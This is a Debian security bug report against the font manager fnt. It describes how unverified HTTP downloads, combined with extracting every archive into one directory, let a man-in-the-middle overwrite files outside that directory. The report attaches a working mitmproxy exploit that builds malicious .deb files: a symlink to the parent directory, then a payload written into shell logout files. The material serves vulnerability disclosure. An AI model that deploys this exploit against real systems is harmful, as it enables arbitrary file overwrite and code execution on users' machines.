Package: fnt
Version: 1.4.1-2
Severity: serious
Tags: security

https://www.gnu.org/software/tar/manual/html_node/Integrity.html says:
"When extracting from two or more untrusted archives, each one should be extracted independently, into different empty directories. Otherwise, the first archive could create a symbolic link into an area outside the working directory, and the second one could follow the link and overwrite data that is not under the working directory."

But fnt extracts every data.tar file into the same directory and does not correctly remove files (potentially: malicious symlinks) after extraction. Since fnt downloads debs over HTTP and does not verify their integrity in any way, man-in-the-middle attackers could exploit this vulnerability to overwrite arbitrary files.

I've attached a proof-of-concept exploit in the form of a mitmproxy script.

--
Jakub Wilk
# encoding=UTF-8

# Copyright © 2023 Jakub Wilk <jw...@jwilk.net>
# SPDX-License-Identifier: MIT

# Usage:
#   mitmdump --listen-host 127.0.0.1 -s /path/to/fnt_mitm.py
# and then:
#   export http_proxy=http://127.0.0.1:8080/
#   fnt update
#   fnt install symbola
#   fnt install unifont
#   logout

import contextlib
import io
import os
import subprocess
import tarfile
import tempfile

try:
    from mitmproxy.http import Response as HTTPResponse  # mitmproxy >= 7.0
except ImportError:
    from mitmproxy.http import HTTPResponse  # mitmproxy >= 1.0

payload = b'''\
cowsay pwned
sleep inf
'''

debs = []

def mkar(members):
    with tempfile.TemporaryDirectory() as tmpdir:
        ar_path = f'{tmpdir}/out.ar'
        subprocess.run(['ar', 'rcS', ar_path, *members], check=True)
        with open(ar_path, 'rb') as file:
            return file.read()

@contextlib.contextmanager
def tmpcwd():
    old_cwd = os.getcwd()
    try:
        with tempfile.TemporaryDirectory() as tmpdir:
            os.chdir(tmpdir)
            yield
    finally:
        os.chdir(old_cwd)

with tmpcwd():
    members = ['debian-binary', 'control.tar.xz', 'data.tar.xz']
    for member in members:
        with open(member, 'wb'):
            pass
    with tarfile.open('data.tar.xz', mode='w|xz') as tfile:
        tinfo = tarfile.TarInfo('par')
        tinfo.type = tarfile.SYMTYPE
        tinfo.linkname = '..'
        tfile.addfile(tinfo)
    debs += [mkar(members)]
    with tarfile.open('data.tar.xz', mode='w|xz') as tfile:
        for target in '.bash_logout', '.zlogout':
            tinfo = tarfile.TarInfo(f'par/{target}')
            tinfo.size = len(payload)
            tfile.addfile(tinfo, io.BytesIO(payload))
    debs += [mkar(members)]

class state:
    n = 0

def request(flow):
    if flow.request.path.endswith('.deb'):
        flow.response = HTTPResponse.make(
            200,
            debs[state.n],
            {'Content-Type': 'application/vnd.debian.binary-package'}
        )
        state.n ^= 1

# vim:ts=4 sts=4 sw=4 et

Reply via email to